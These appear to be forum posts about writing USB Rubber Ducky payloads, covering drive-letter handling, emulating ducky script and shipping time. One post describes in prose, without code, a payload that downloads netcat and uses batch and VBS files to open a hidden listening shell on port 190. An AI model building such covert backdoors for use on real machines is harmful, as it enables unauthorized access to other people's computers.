Hello, I have been trying to make some payloads for my USB Rubber Ducky, but have run into some problems. When making my payloads sometimes I might open a file from the duck itself (I have the twin duck firmware installed). After using the payload on my personal computer I went and tryed it on an old Win7 computer of mine. But relised when plugging in that the drive letter had changed from the drive letter that was on my personal computer, which I have scripted it on. As I would not like to change the payload each time I plug it in to a diiferent computer, is there some type of special path thing I could do so that I don't have to know the exact path letter when scripting. Would there be a kind fello out there that could help me out with this? Thanks in advance. Bingoe33

Hello everyone Dtpk here and well I did a thing using Netcat and the usb rubber ducky to make a invisible reverse shell in under a few seconds I didn't time it this time but if I had to guess its about 8 to 9 seconds maybe a little faster first it navigates to userprofile folder then it downloads unzip.exe from either you own drop box or mine if you chose not to change the code then it downloads netcat from its site extracts it from command line using unzip.exe then it makes a batch file to invoke netcat to open a port on 190 then we use vbs script to launch the batch file invisibly. Also I have a video that is a little more in depth if you wish to check that out. Net Cat Script.txt

Is there any way to use ducky script without the rubber ducky on hand?

What is the normal shipping time for the rubber ducky?